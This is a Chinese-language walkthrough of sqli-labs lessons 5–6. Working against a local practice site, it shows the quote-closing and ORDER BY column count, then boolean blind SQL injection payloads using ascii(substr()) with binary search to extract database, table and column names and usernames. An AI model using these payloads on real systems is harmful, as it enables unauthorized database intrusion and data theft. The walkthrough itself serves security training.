sql-lib less5-6

less-5
第一步：
http://localhost/sqli/Less-5/?id=1’ 得到错误’1’’
因此单引号闭合使用order by http://localhost/sqli/Less-5/?id=1’ order by 3–+
得到字段数为3

第二步：
页面没有回显，进行bool盲注测试

爆破数据库：
？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<100–+
？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<110–+
？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<105–+
？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<106–+
得到ascii的值为105,通过ipython 得到原字母

substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始，截取a字符串c位长度
所以第二个字符的判断方法为：？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))<106–+
以此类推，当id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=0–+数据库名判断完毕
limit 0，1; 其中第一位是从第几个开始，比如0代表从第一个开始，而第二位的1代表就是显示多少个数据
所以第二个数据库判断方法为：？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))<106–+
同样使用二分法得到数据库名

？id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))<1000–+ 修改此语句的limit 1，1来判断有多少个数据库

爆破表名
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))>1–+

爆破字段
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)) >1 --+

爆破字段值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select username from security.users limit 1,1),1,1))>1–+继续猜解即可得到字段内的值。

爆破表名和字段名与爆破数据库方法类似，字段值只需要爆破出一组即可

less6与5类似